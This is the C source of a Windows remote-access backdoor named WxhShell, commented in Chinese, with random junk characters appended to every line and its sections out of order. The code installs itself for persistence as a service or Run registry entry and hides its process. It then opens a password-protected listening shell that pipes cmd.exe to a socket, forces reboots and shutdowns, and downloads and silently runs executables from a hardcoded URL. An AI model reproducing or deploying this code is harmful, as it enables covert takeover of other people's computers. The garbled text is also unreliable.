    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vvo 7C!$z  
    if(Boot(SHUTDOWN)) 6\t@)=C,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dN6?c'iN?2  
    else { 7p[n  
    closesocket(wsh); qP ,EBE  
    ExitThread(0); '"Nr,vQo  
    } gG uO  
    break; 05R@7[GWq  
    } &,/ S`ke=  
  // 获取shell y`Z\N   
  case 's': { Wn6Sn{8W{  
    CmdShell(wsh); 1;iUWU1@  
    closesocket(wsh); $~kA B8z  
    ExitThread(0); W*G<X.Hf  
    break; {`_i`  
  } + T+#q@  
  // 退出 \.S/|  
  case 'x': { $;PMkUE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \<K5ZIWV  
    CloseIt(wsh); zm#  ?W  
    break; iow"n$/  
    } Ul# r  
  // 离开 N>E_%]Ch  
  case 'q': { n+p }\msH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &&%H%9  
    closesocket(wsh); 9M ]_nPY  
    WSACleanup(); VN.Je: Ju  
    exit(1); kGJC\{N5N  
    break; }B^tL$k  
        } >Gu M]qn  
  } dWW.Y*339  
  } $Kd>:f=A  
7$#u  
  // 提示信息 UZ";a453r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xx $cnG  
} Bp{Ri_&A  
  } bK7J}8hH  
&3&HY:yF  
  return; g{LP7 D;6  
} H*6W q  
R-14=|7a-  
// shell模块句柄 #;S*V"  
int CmdShell(SOCKET sock) v^P O|Z  
{ NlXimq  
STARTUPINFO si; 1mJ Hued=6  
ZeroMemory(&si,sizeof(si)); 4!$"ayGv;D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zeRyL3fnmb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m+9#5a-  
PROCESS_INFORMATION ProcessInfo; 0`H# '/  
char cmdline[]="cmd"; qSQ~D(tO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1*7@BP5  
  return 0; DNi+"[~&P  
} kT=8e;K  
lxi<F  
// 自身启动模式 [hs ds\  
int StartFromService(void) 8k79&|  
{ :KO2| v\  
typedef struct Va8&Z  
{ b Zt3|  
  DWORD ExitStatus; 6C)_  
  DWORD PebBaseAddress; xD$\,{  
  DWORD AffinityMask; .C(tMF]D,  
  DWORD BasePriority; JI5Dy>u:  
  ULONG UniqueProcessId; X?Au/  
  ULONG InheritedFromUniqueProcessId; `mqMLo *  
}   PROCESS_BASIC_INFORMATION; \NC3'G:Ii  
nFn5v'g  
PROCNTQSIP NtQueryInformationProcess; N g,j#  
V.Mry`9-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T C"<g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $xQL]FmS  
7Lt)nq-b  
  HANDLE             hProcess; 05[SC}MCA  
  PROCESS_BASIC_INFORMATION pbi; %)wjR/o  
Dh*n!7lD`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g&.=2uP  
  if(NULL == hInst ) return 0; ]f3>-)$*  
PW4q~rc=:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0$njMnB2l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #;<Y[hR{P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Js;h%  
hOeRd#AQK  
  if (!NtQueryInformationProcess) return 0; z)"=:o7  
~XIb\m9H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?# fQ~ s  
  if(!hProcess) return 0; .^g p?  
'PHl$f*k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +h$ 9\  
cnLro  
  CloseHandle(hProcess);  3CJwj  
cNH7C"@GVu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _G0 x3  
if(hProcess==NULL) return 0; ##{taR8  
DI%saw  
HMODULE hMod; r/1(]#kOX  
char procName[255]; [ 3HfQ  
unsigned long cbNeeded; ctUp=po  
wS*E(IAl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q.[0ct  
P*o9a  
  CloseHandle(hProcess); ;=N# `l  
9B4&m|g  
if(strstr(procName,"services")) return 1; // 以服务启动 K%d&EYoW]  
0aAoV0fMDz  
  return 0; // 注册表启动 U6VKMxSJ  
} BuwY3F\-O  
Xeaj xcop#  
// 主模块 [gB+C84%%  
int StartWxhshell(LPSTR lpCmdLine) #b`k e/P  
{ {8aTV}Ha2  
  SOCKET wsl; B1STGL`nK  
BOOL val=TRUE; l^qI, M  
  int port=0; _j3fAr(V  
  struct sockaddr_in door; |{8Pb3#U  
1"g<0 W  
  if(wscfg.ws_autoins) Install(); >V~E]P%@  
Lv%x81]K  
port=atoi(lpCmdLine); 26nx`w?j(  
$C\BcKlmv  
if(port<=0) port=wscfg.ws_port; :%.D78&  
HV.t6@\};  
  WSADATA data; O84i;S+-p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oQ#8nu{k  
m2o0y++TjW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #S(Hd?34,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v1[29t<I!  
  door.sin_family = AF_INET; XRH!]!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Uv.)?YeGh  
  door.sin_port = htons(port); 40/Y\  
%LV9=!w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ..qCPlK;  
closesocket(wsl); YMgNzu  
return 1; G?ZXWu.  
} ;fJ.8C  
TN.rrop`#g  
  if(listen(wsl,2) == INVALID_SOCKET) { uc=B,3  
closesocket(wsl); Fp:'M X  
return 1; @VBcJ{e,  
} "#]$r  
  Wxhshell(wsl); :0ep( <|;  
  WSACleanup(); +H.`MZ=  
]A"h&`Cvt  
return 0; ;]iRk  
-%~4W?  
} M{\I8oOg  
q@&6#B  
// 以NT服务方式启动 R@0R`Zs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p[-O( 3Y  
{ Jv i#)  
DWORD   status = 0; rZF*q2?  
  DWORD   specificError = 0xfffffff; *fdTpXa  
~BF&rx5Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j6YOKJX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;,TFr}p`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \8 ":]EU  
  serviceStatus.dwWin32ExitCode     = 0; Kgv T"s.  
  serviceStatus.dwServiceSpecificExitCode = 0; %$I;{-LD  
  serviceStatus.dwCheckPoint       = 0; rUl+  
  serviceStatus.dwWaitHint       = 0; %*U'@r(A  
pI[uUu7O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); phK/   
  if (hServiceStatusHandle==0) return; d1*<Ll9K  
ebq4g387X  
status = GetLastError(); Mhu*[a=;x  
  if (status!=NO_ERROR) :Al!1BJQ  
{ ;j7#7MN2_E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (mOtU8e  
    serviceStatus.dwCheckPoint       = 0; =vPj%oLp'a  
    serviceStatus.dwWaitHint       = 0; 5\v3;;A[  
    serviceStatus.dwWin32ExitCode     = status; CAe!7HiR  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;`Z{7'^U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GVz6-T~\>  
    return; FlQGg VN  
  } ?5p>BER?  
i?/qY&~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q| 7(  
  serviceStatus.dwCheckPoint       = 0; ==B6qX8T  
  serviceStatus.dwWaitHint       = 0; ,_P-$lB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b' y%n   
} W/ \g~=vo  
No$3"4wk  
// 处理NT服务事件,比如:启动、停止  bLL2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HsWk*L `y  
{ QWU[@2@%r  
switch(fdwControl) $:6!H:ty  
{ D=$)n_F  
case SERVICE_CONTROL_STOP: #z(]xI)"  
  serviceStatus.dwWin32ExitCode = 0; xoL\us`A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +mPx8P&%  
  serviceStatus.dwCheckPoint   = 0; [KQi.u  
  serviceStatus.dwWaitHint     = 0; Kq!3wb;  
  { }b}m3i1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); df=f62  
  } ~~.}ah/_d  
  return; ta0|^KAA  
case SERVICE_CONTROL_PAUSE: _GPe<H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [WJ+h~~ o  
  break; Ni>[D"|  
case SERVICE_CONTROL_CONTINUE: Smh,zCc>s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vI?, 47Hj+  
  break; [7-?7mp!B  
case SERVICE_CONTROL_INTERROGATE: h;Qk @F  
  break; sT.ss$HY9,  
}; TvM~y\s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2eogY#  
} q)GdD==  
maZ)cW?  
// 标准应用程序主函数 K}y f>'O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xo)P?-  
{ [UR-I0 s!/  
6Zo}(^Ovz  
// 获取操作系统版本 /1 dT+>  
OsIsNt=GetOsVer(); ^ 9sjj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W)/#0*7  
5G#n"}T  
  // 从命令行安装 ^q&x7Kv%  
  if(strpbrk(lpCmdLine,"iI")) Install(); F@t3!bj9  
iscz}E,Y  
  // 下载执行文件 #Z#-Ht  
if(wscfg.ws_downexe) { X2_=agEP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  }ZI7J  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ef\ -VKh  
} hP h-+Hb  
\['Cj*ek  
if(!OsIsNt) { r%_djUd  
// 如果时win9x,隐藏进程并且设置为注册表启动 U:`Kss`  
HideProc(); =I<R!ZSN  
StartWxhshell(lpCmdLine); aXVFc5C\  
} Qrv<lE1V;  
else t1".0  
  if(StartFromService()) baasGa3}s  
  // 以服务方式启动 kstIgcI  
  StartServiceCtrlDispatcher(DispatchTable); ?< />Z)  
else 3Vwh|1?  
  // 普通方式启动 l} /F*  
  StartWxhshell(lpCmdLine); F [M,]?   
K9[UB  
return 0; "Q0@/bYq  
} Gt1U!dP  
PCvWS.{  
! if   
pmM9,6P4@  
=========================================== !1k_PY5)  
SBpL6~NW  
\zY!qpX<  
w xH7?tsf  
4 5e~6",  
\m,PA'nd/  
" LLo;\WGZ  
dG{A~Z z  
#include <stdio.h> Y*^[P,+J*}  
#include <string.h> oRFq @g  
#include <windows.h> {=WgzP  
#include <winsock2.h> NUZl`fu1Z4  
#include <winsvc.h> }6#  
#include <urlmon.h> -"`=1l  
uT{q9=w  
#pragma comment (lib, "Ws2_32.lib") ^c<Ve'-  
#pragma comment (lib, "urlmon.lib") ]'}L 1r  
53D]3  
#define MAX_USER   100 // 最大客户端连接数 zdYjF|  
#define BUF_SOCK   200 // sock buffer ?}0,o.  
#define KEY_BUFF   255 // 输入 buffer CY1Z'  
![1rzQvGDb  
#define REBOOT     0   // 重启 n[z+<VGwC  
#define SHUTDOWN   1   // 关机 X, n:,'  
Oz95  
#define DEF_PORT   5000 // 监听端口 y0#2m6u  
Y|n"dMrL  
#define REG_LEN     16   // 注册表键长度 =euni}7a  
#define SVC_LEN     80   // NT服务名长度 +rd+0 `}C  
e= AKD#  
// 从dll定义API yAt ^;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oxs#866x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ? k/`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  @5FQX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A&VG~r$  
KPF1cJ2N  
// wxhshell配置信息 w>gYx(8b  
struct WSCFG { xp t:BBo  
  int ws_port;         // 监听端口 v+XJ*N[W  
  char ws_passstr[REG_LEN]; // 口令 (HVGlw'`  
  int ws_autoins;       // 安装标记, 1=yes 0=no X8|,   
  char ws_regname[REG_LEN]; // 注册表键名 DVA:Cmh\  
  char ws_svcname[REG_LEN]; // 服务名 ueudRb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G[=c Ss,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $i&zex{\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uFE)17E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C Z;6@{ o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y7|EIAU5Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )e{aN+  
Hka2  
}; L,\Iasv  
(>Em^(&  
// default Wxhshell configuration I,tud!p`  
struct WSCFG wscfg={DEF_PORT, { FkF  
    "xuhuanlingzhe", ^W ^OfY  
    1, /wp6KXm  
    "Wxhshell", `3pW]&  
    "Wxhshell", 'DR!9De  
            "WxhShell Service", eFgA 8kY)  
    "Wrsky Windows CmdShell Service", ^[[P*NX3  
    "Please Input Your Password: ", ax`o>_)  
  1, wMn i  
  "http://www.wrsky.com/wxhshell.exe", Tk}]Gev  
  "Wxhshell.exe" j%kncGS  
    }; HN"Z]/ 5j  
M]^5s;y  
// 消息定义模块 F8=+j_UGI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; By |4 m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Mbz3;i0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?< +WG/(d  
char *msg_ws_ext="\n\rExit."; 1Mzmg[L8  
char *msg_ws_end="\n\rQuit."; qGo.WZ$  
char *msg_ws_boot="\n\rReboot...";  ?9/G[[(  
char *msg_ws_poff="\n\rShutdown..."; sRs>"zAg  
char *msg_ws_down="\n\rSave to "; dV_G1'  
?`s8 pPc4  
char *msg_ws_err="\n\rErr!"; e6*8K@LHB  
char *msg_ws_ok="\n\rOK!"; _>+Ld6.T6  
lxx2H1([  
char ExeFile[MAX_PATH]; RZLq]8pM  
int nUser = 0; FrS]|=LJhX  
HANDLE handles[MAX_USER]; Ui~>SN>s  
int OsIsNt; @"A4$`Xi3  
oR'm2d^  
SERVICE_STATUS       serviceStatus; b6bHTH0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (QEG4&9  
+7Gwg  
// 函数声明 )nkY_' BV  
int Install(void); L *wYx|  
int Uninstall(void); %b$>qW\*&  
int DownloadFile(char *sURL, SOCKET wsh); )A6<c%d =x  
int Boot(int flag); j#|ZP-=1_  
void HideProc(void); -@'FW*b  
int GetOsVer(void); i1UsIT  
int Wxhshell(SOCKET wsl); e'~3oqSvR  
void TalkWithClient(void *cs); Q ,g\  
int CmdShell(SOCKET sock); E GU2fA7x  
int StartFromService(void); ytImB`'\  
int StartWxhshell(LPSTR lpCmdLine); (PL UFT  
cuX)8+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nn6%9PX_)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J.a]K[ci  
5pX6t  
// 数据结构和表定义 i-1op> Y  
SERVICE_TABLE_ENTRY DispatchTable[] = )~>YH*g  
{ "oyo#-5z  
{wscfg.ws_svcname, NTServiceMain}, /ZX }Nc g  
{NULL, NULL} 6ujW Nf  
}; m67V_s,7B  
10&8-p1/mc  
// 自我安装 [^iN}Lz  
int Install(void) hrk r'3lv  
{ wYea\^co  
  char svExeFile[MAX_PATH];  mh%VrA q  
  HKEY key; mH(:?_KrS-  
  strcpy(svExeFile,ExeFile); *. t^MP  
W?& %x(6M  
// 如果是win9x系统,修改注册表设为自启动 tQVVhXQ7  
if(!OsIsNt) { ^iA9%zp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7V>M]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X w1*(ffk  
  RegCloseKey(key); *~`(RV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h[ ZN+M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kJU2C=m@e2  
  RegCloseKey(key);  " bG2:  
  return 0; 6BlXLQ,8q  
    } JF]JOI6.e  
  } sO Y:e/_F  
} +@UV?"d  
else { 42{~Lhxt  
(FV >m  
// 如果是NT以上系统,安装为系统服务 (7Qo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hH.G#-JO  
if (schSCManager!=0) BtZyn7a  
{ sW$XH1Uf#  
  SC_HANDLE schService = CreateService g(g& TO  
  ( [g,}gyeS(  
  schSCManager, \V:^h [ad  
  wscfg.ws_svcname, z?zL97H  
  wscfg.ws_svcdisp, >_} I.\ X  
  SERVICE_ALL_ACCESS, !-bB559Nv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3|7QU ld  
  SERVICE_AUTO_START, 4i bc  
  SERVICE_ERROR_NORMAL, xw%0>K[  
  svExeFile, {g6%(X\r.r  
  NULL, x-c"%Z|  
  NULL, bt *k.=p  
  NULL, d9ihhqq3}  
  NULL, A&{Nh` q  
  NULL -Za/p@gM  
  ); =N@t'fOr  
  if (schService!=0) }]Tx lSp!;  
  { I fir ,8  
  CloseServiceHandle(schService); INf&4!&h  
  CloseServiceHandle(schSCManager); CLSK'+l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6@f-Glwg  
  strcat(svExeFile,wscfg.ws_svcname); Vl]>u+YqE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :&Nbw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Q B<7a+I  
  RegCloseKey(key); G3]4A&h9v~  
  return 0; E7hhew  
    } zDp2g)  
  } Z)!C'cb  
  CloseServiceHandle(schSCManager); J4utIGF  
} :N@^?q{b  
} z#N@ 0R  
3T 9j@N77  
return 1; ^8tEach  
} C~[,z.FvO  
s{++w5s  
// 自我卸载 g}i61(  
int Uninstall(void) ]_Xlq_[/r  
{ Ru XC(qcq  
  HKEY key; =;k|*Ny  
neh(<>  
if(!OsIsNt) { "b[5]Y{ U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @o^Ww  
  RegDeleteValue(key,wscfg.ws_regname); ;jPXs  
  RegCloseKey(key); e )ZUO_Q$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AGno6g  
  RegDeleteValue(key,wscfg.ws_regname); D$N /FJ8|G  
  RegCloseKey(key); Y7nvHU|+o  
  return 0; _wcNgFx  
  } BY*Q_Et  
} E4!Fupkpf  
} %\DX#.  
else { GfG|&VNlz  
'S~5"6r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~ 1pr~  
if (schSCManager!=0) l~.-e^p?  
{ edV\-H5<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +V+a4lU14  
  if (schService!=0) /=h` L ,  
  { p'fYULYE  
  if(DeleteService(schService)!=0) { {$r[5%L\H  
  CloseServiceHandle(schService); *A< 5*Db:F  
  CloseServiceHandle(schSCManager); F?cK- .  
  return 0; }Lv;!  
  } 9l,o P?  
  CloseServiceHandle(schService); *H122njH+T  
  } F/Pep?'  
  CloseServiceHandle(schSCManager); _U0f=m  
} #%s#c0TX  
} VX/#1StC  
fh{`Mz,o  
return 1; q;U,s)Uz^  
} sGb{9.WK  
2oU_2P  
// 从指定url下载文件 GL JMP^p  
int DownloadFile(char *sURL, SOCKET wsh) &{RDM~  
{ G j1_!.T  
  HRESULT hr; ;]fs'LH  
char seps[]= "/"; C7vxw-o|&p  
char *token; !c-*O<Y  
char *file; fV:83|eQ  
char myURL[MAX_PATH]; X|[`P<'N<  
char myFILE[MAX_PATH]; Y~Ifj,\  
IAEAhqp  
strcpy(myURL,sURL); nie%eC&U  
  token=strtok(myURL,seps); Wf<LR3  
  while(token!=NULL) I|J/F}@p  
  { `kr?j:g  
    file=token; a> )f=uS  
  token=strtok(NULL,seps); w:l"\Tm  
  } P_dJZ((X  
nd(S3rct&  
GetCurrentDirectory(MAX_PATH,myFILE); .KC ++\{HE  
strcat(myFILE, "\\"); yBRC*0+Vy  
strcat(myFILE, file); U3kyraj  
  send(wsh,myFILE,strlen(myFILE),0); 7rPF$ \#  
send(wsh,"...",3,0); 8] ikygt"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J=L5=G7(  
  if(hr==S_OK) '!$%> ||S  
return 0; +O5hH8<&b  
else 7Qsgys#/=  
return 1; or]IZ2^n  
SzRmF1<  
} ?q&T$8zc4  
s79r@])=  
// 系统电源模块 y?0nI<}}HK  
int Boot(int flag) aoTP [Bp  
{ f-2c0Bi  
  HANDLE hToken; 1U\z5$V  
  TOKEN_PRIVILEGES tkp; "mN q&$  
^t"'rD-I  
  if(OsIsNt) { FN; ^"H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {e5= &A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ??T#QQ  
    tkp.PrivilegeCount = 1; ETLD$=iS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o Rzi>rr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c|1&lYal;  
if(flag==REBOOT) { |)81Lz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {iLT/i%  
  return 0; s{" 2L{,$  
} VD:/PL  
else { qCO/?kW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0;ji65  
  return 0; C-[1iW'  
} qw8Rlws%  
  } n(|^SH4$b  
  else { %IRi1EmN8  
if(flag==REBOOT) { o]:9')5^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4&f3%eTi  
  return 0; Rh |nP&6  
} Z<phcqEi8  
else { bTu9;(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C $JmzrE  
  return 0; "nWw;-V}}  
} ERt{H3eCcJ  
} #,.Hr#3nI  
N?>vd*  
return 1; `@ FYkH  
} jSAjcLR  
AK#1]i~  
// win9x进程隐藏模块 '=6\v!  
void HideProc(void) ;\l,5EG  
{ {_Gs*<.  
ZW}_Q s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <|\Lm20 G]  
  if ( hKernel != NULL ) +]50DxflA  
  { Yuc> fFA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c=+!>Z&i$G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )0R'(#  
    FreeLibrary(hKernel); )Beiu*  
  } ?rup/4|  
3&/Ixm:  
return; ${)b[22":  
} #=v~8  
9M9?%N:ra  
// 获取操作系统版本 ]cN1c}  
int GetOsVer(void) ~= -RK$=  
{ F3N6{ysK#  
  OSVERSIONINFO winfo; d:{O\   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e!r-+.i(  
  GetVersionEx(&winfo); 6_ow%Rx~F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =>dGL|  
  return 1; <rmvcim{*  
  else lA-h`rl /  
  return 0; l0hlM#  
} _7)n(1h[3b  
->{KVPHe{  
// 客户端句柄模块 +H2-ZXr  
int Wxhshell(SOCKET wsl) 3Le{\}-$.  
{ XGMiW0j0B  
  SOCKET wsh; IkXx# )  
  struct sockaddr_in client; s!e3|pGS  
  DWORD myID; M:6"H%h,W  
I0 RvnMw  
  while(nUser<MAX_USER) KK%M~Y+tU'  
{ TBrPf-Xr  
  int nSize=sizeof(client); Fr$5RAyg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2wgg7[tGi  
  if(wsh==INVALID_SOCKET) return 1; pU7lnS[  
 v<:R#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O,A{3DAe0  
if(handles[nUser]==0) ~3S~\0&|  
  closesocket(wsh); -B\HI*u  
else zkdetrR  
  nUser++;  :#~j:C|  
  } + +#5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {GcO3G#FZ  
,i@:5X/t  
  return 0; Z87|Zl  
} >6pf$0  
Zoc0!84<z  
// 关闭 socket EUgs6[w 4  
void CloseIt(SOCKET wsh) zZC9\V}R  
{ V,?yPi$#E  
closesocket(wsh); - FlzEZ  
nUser--; "2T#MO/  
ExitThread(0); d&s9t;@=  
} O5t[  
O s.4)  
// 客户端请求句柄 4I?^t"  
void TalkWithClient(void *cs) 5lT*hF  
{ 4X(H ;  
C C^'@~)?  
  SOCKET wsh=(SOCKET)cs; |qZ1|  
  char pwd[SVC_LEN]; [=]4-q6UN  
  char cmd[KEY_BUFF]; M[112%[+4  
char chr[1]; ohGfp9H  
int i,j; ?8Cq{  
k,F6Tx  
  while (nUser < MAX_USER) { xpx\=iAe  
A6iq[b]  
if(wscfg.ws_passstr) { Nl(3Xqov  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :TC@tM~Oy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NL0n009"c$  
  //ZeroMemory(pwd,KEY_BUFF); 1|6%evPu(  
      i=0; nL.<[]r  
  while(i<SVC_LEN) { J{&H+rd  
r_;N t  
  // 设置超时 =6|&Jt  
  fd_set FdRead; g^ i&gNDx  
  struct timeval TimeOut; ; p{[1  
  FD_ZERO(&FdRead); _W'-+,  
  FD_SET(wsh,&FdRead); ?_"ik[w}  
  TimeOut.tv_sec=8; t\j*}# S  
  TimeOut.tv_usec=0; E'.7xDN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %\Mo-Ow!\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6;qy#\}2  
r s?R:+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ktm4 A O  
  pwd=chr[0]; c#tjp(-  
  if(chr[0]==0xd || chr[0]==0xa) { Y.ToIka{  
  pwd=0; A^EE32kbm  
  break; SrK<fAkx  
  } y e? 'Ze  
  i++; c>~*/%+  
    } ,V:SN~P66+  
^J8lBLqe  
  // 如果是非法用户,关闭 socket ~Ti'FhN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bl(RyA gA  
} j;iAD:nf  
;Nj7qt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xZF}D/S?Ov  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Sbe^x  
*lw_=MXSK  
while(1) { <)-Sj,  
,47Y9Kz9  
  ZeroMemory(cmd,KEY_BUFF); PJrtM AcKq  
xDoC(  
      // 自动支持客户端 telnet标准   JOLaP@IPT  
  j=0; cFnDmt I:  
  while(j<KEY_BUFF) { l.bYE/F0&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pW sDzb6?%  
  cmd[j]=chr[0]; fG(SNNl+D  
  if(chr[0]==0xa || chr[0]==0xd) { TNh1hhJ$b  
  cmd[j]=0; #PQB(=299P  
  break; BC<^a )D=  
  } K8.!_ c  
  j++; :#?5X|Gz  
    } f|lU6EkU  
i`$*T y"x  
  // 下载文件 qXe8Kto  
  if(strstr(cmd,"http://")) { I \JGs@I   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s '\Uap  
  if(DownloadFile(cmd,wsh)) -f>%+<k=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJ)n4)  
  else z(^]J`+\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )i^<r;_z  
  } 0h\smqm  
  else { Fv<F}h?6  
.KUv( -  
    switch(cmd[0]) { Z%/=|[9i  
  }YNR"X9*)/  
  // 帮助 NI [ pp`  
